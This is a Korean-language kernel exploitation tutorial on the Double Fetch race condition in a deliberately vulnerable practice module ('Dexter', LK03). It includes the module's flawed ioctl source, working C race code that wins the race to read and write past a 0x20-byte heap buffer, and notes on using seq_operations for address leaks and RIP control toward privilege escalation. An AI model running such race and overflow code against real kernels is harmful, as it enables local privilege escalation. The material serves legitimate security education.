LK03(Dexter)에서는 Double Fetch라고 불리는 취약점에 대해 배웁니다. 먼저 연습 문제 LK03 파일을 다운로드해 주세요.

QEMU 실행 옵션

LK03에서는 SMEP, KASLR, KPTI가 활성화되어 있고, SMAP가 비활성화되어 있습니다. 또한, 이번에 다루는 취약점은 경쟁(race)에 관한 버그이므로, 멀티 코어로 동작시키고 있다는 점에 주의하세요.[1]
권한 상승을 간단하게 하기 위해 SMAP를 무효화하고 있을 뿐, 취약점 자체는 SMAP가 활성화되어 있어도 발현됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu kvm64,+smep \
-smp 2 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user

소스 코드 해석

먼저 LK03의 소스 코드를 읽어봅시다. 소스 코드는 src/dexter.c에 작성되어 있습니다.
이 프로그램은 최대 0x20 바이트의 데이터를 저장할 수 있는 커널 모듈입니다. ioctl로 조작할 수 있으며, 데이터를 읽는 기능과 쓰는 기능이 제공됩니다.

1
2
3
4
5
6
7
8
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
...
switch (cmd) {
case CMD_GET: return copy_data_to_user(filp, (void*)arg);
case CMD_SET: return copy_data_from_user(filp, (void*)arg);
default: return -EINVAL;
}

디바이스가 open되면 private_data에 0x20 바이트의 영역이 kzalloc으로 할당됩니다. 이 영역은 디바이스를 close하면 해제됩니다.

1
2
3
4
5
6
7
8
9
10
static int module_open(struct inode *inode, struct file *filp) {
filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!filp->private_data) return -ENOMEM;
return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
kfree(filp->private_data);
return 0;
}

ioctl이 호출되면, verify_request에서 사용자가 전달한 데이터를 검증합니다. verify_request에서는 사용자가 전달한 데이터의 포인터가 NULL이 아니고, 크기가 0x20을 초과하지 않는지 확인합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
int verify_request(void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -1;
if (!req.ptr || req.len > BUFFER_SIZE)
return -1;
return 0;
}

...

if (verify_request((void*)arg))
return -EINVAL;

다음으로 각각 CMD_GET, CMD_SET에서는 private_data에서 사용자로 데이터를 복사하거나, 사용자로부터 private_data로 데이터를 복사할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
long copy_data_to_user(struct file *filp, void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -EINVAL;
if (copy_to_user(req.ptr, filp->private_data, req.len))
return -EINVAL;
return 0;
}

long copy_data_from_user(struct file *filp, void *reqp) {
request_t req;
if (copy_from_user(&req, reqp, sizeof(request_t)))
return -EINVAL;
if (copy_from_user(filp->private_data, req.ptr, req.len))
return -EINVAL;
return 0;
}

사용자로부터 데이터를 복사하기 전에 verify_request로 크기를 확인하고 있기 때문에, Heap Buffer Overflow는 언뜻 보기에 존재하지 않는 것처럼 보입니다.

Double Fetch

Double Fetch는 커널 공간에서 발생하는 데이터 경쟁의 일종에 붙여진 이름입니다. 이름 그대로, 커널 측에서 같은 데이터를 2번 fetch(읽기) 함으로써 발생하는 경쟁을 가리킵니다.
다음과 같이, 커널 공간이 사용자 공간에서 같은 데이터를 2번 읽을 때, 그 사이에 다른 스레드가 데이터를 다시 쓸 가능성이 있습니다.

Double Fetch

이때 1번째와 2번째 fetch에서 데이터 내용이 다르기 때문에, 정합성을 취할 수 없게 됩니다. 이러한 데이터 경쟁을 Double Fetch라고 부릅니다. LK01에서 다룬 경쟁과 크게 다른 점은, 이 버그는 커널 측에서 mutex를 잡아도 대처할 수 없다는 점입니다.

이번 드라이버에서는 verify_requestcopy_data_to_user/copy_data_from_user에서 사용자로부터의 요청 데이터를 fetch 하고 있습니다. 즉, verify_request에서는 올바른 크기를 전달하고, 거기서부터 copy_data_to_user 혹은 copy_data_from_user가 실행될 때까지의 사이에 크기를 잘못된 값으로 다시 쓰면, Heap Buffer Oveflow를 일으킬 수 있습니다.

늑대군

사용자 공간의 데이터를 여러 번 다룰 때는, 처음에 커널 공간에 복사한 것을 사용해야 해.

취약점의 발현

먼저 올바른 사용법을 사용해 봅시다. 다음과 같이 드라이버에 데이터를 저장할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int set(char *buf, size_t len) {
request_t req = { .ptr=buf, .len=len };
return ioctl(fd, CMD_SET, &req);
}
int get(char *buf, size_t len) {
request_t req = { .ptr=buf, .len=len };
return ioctl(fd, CMD_GET, &req);
}

int main() {
fd = open("/dev/dexter", O_RDWR);
if (fd == -1) fatal("/dev/dexter");

char buf[0x20];
set("Hello, World!", 13);
get(buf, 13);
printf("%s\n", buf);

close(fd);
return 0;
}

다음으로 Double Fetch의 동작을 확인해 봅시다. 먼저 적당한 코드를 짜서, 취약점이 발현되는 것을 확인합니다. 여기서는 설정하지 않은 데이터가 읽힐 때까지 경쟁을 시도하는 코드를 짰습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int fd;
request_t req;

int set(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_SET, &req);
}
int get(char *buf, size_t len) {
req.ptr = buf;
req.len = len;
return ioctl(fd, CMD_GET, &req);
}

int race_win = 0;

void *race(void *arg) {
while (!race_win) {
req.len = 0x100;
usleep(1);
}
return NULL;
}

int main() {
fd = open("/dev/dexter", O_RDWR);
if (fd == -1) fatal("/dev/dexter");

char buf[0x100] = {}, zero[0x100] = {};
pthread_t th;
pthread_create(&th, NULL, race, NULL);
while (!race_win) {
get(buf, 0x20);
if (memcmp(buf, zero, 0x100) != 0) {
race_win = 1;
break;
}
}
pthread_join(th, NULL);

for (int i = 0; i < 0x100; i += 8) {
printf("%02x: 0x%016lx\n", i, *(unsigned long*)&buf[i]);
}

close(fd);
return 0;
}

메인 스레드에서 CMD_GET을 올바른 크기로 호출하고, 서브 스레드에서 사용자 공간에 있는 크기 정보를 잘못된 값으로 다시 씁니다. verify_request가 호출되고 나서 copy_data_to_user가 호출될 때까지의 사이에 서브 스레드가 크기 정보를 다시 쓰면, 잘못된 크기로 데이터가 복사되기 때문에, Heap Buffer Overflow가 일어납니다.

CMD_GET에 관해서는 실제로 버퍼 사이즈를 넘어서 데이터가 읽혔는지를 확인하면 되지만, CMD_SET에서 버퍼 오버플로우가 성공했는지는 어떻게 확인하면 좋을까요? 방법은 몇 가지 있겠지만, 이번에는 상수회 루프로 범위 밖 쓰기(오버플로우)를 시도하고, 종료 후에 오버플로우가 성공했는지를 범위 밖 읽기로 확인하기로 했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void overread(char *buf, size_t len) {
char *zero = (char*)malloc(len);
pthread_t th;
pthread_create(&th, NULL, race, (void*)len);

memset(buf, 0, len);
memset(zero, 0, len);
while (!race_win) {
get(buf, 0x20);
if (memcmp(buf, zero, len) != 0) {
race_win = 1;
break;
}
}

pthread_join(th, NULL);
race_win = 0;
free(zero);
}

void overwrite(char *buf, size_t len) {
pthread_t th;
char *tmp = (char*)malloc(len);

while (1) {
// 상수회로 race를 시도함
pthread_create(&th, NULL, race, (void*)len);
for (int i = 0; i < 0x10000; i++) set(buf, 0x20);
race_win = 1;
pthread_join(th, NULL);
race_win = 0;
// 힙 오버플로우가 성공하지 않았다면 재시도
overread(tmp, len);
if (memcmp(tmp, buf, len) == 0) break;
}

free(tmp);
}

이것으로 힙 오버플로우를 시도했는데, 저자의 환경에서는 우연히 뒤에 깨뜨리면 안 되는 데이터가 있었던 모양인지, 다음과 같이 커널 패닉을 일으켰습니다.

힙 오버플로우에 의한 크래시

seq_operations

이번에 파괴할 수 있는 영역은 kmalloc-32이므로, 같은 사이즈 대역에서 공격에 사용할 수 있는 객체를 찾을 필요가 있습니다. kmalloc-32에서는, seq_operations 구조체가 편리합니다.

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

seq_operations는 sysfs, debugfs, procfs 등의 특수 파일을 사용자 공간에서 읽을 때 커널 측에서 호출되는 핸들러를 기술하는 구조체입니다. 따라서 /proc/self/stat 등의 특수 파일을 여는 것으로 확보할 수 있습니다.
함수 포인터이므로 커널 주소를 유출할 수 있고, 예를 들어 read를 호출하면 seq_operationsstart가 호출되므로, RIP의 제어도 가능합니다.

늑대군

kmalloc-32가 사용되는 구조체는 이외에도 많이 있어.
자세한 것은 예제에서 보자.

권한 상승

이번에는 SMAP가 비활성화이므로 사용자 공간에 Stack Pivot 할 수 있습니다. 각자 ROP chain을 짜서 권한 상승을 시도해 보세요.

Double Fetch에 의한 권한 상승

SMAP를 활성화해도 작동하도록 exploit을 수정해 보세요.

  1. 싱글 코어에서 경쟁을 일으키는 방법도 나중 장에서 등장합니다. ↩︎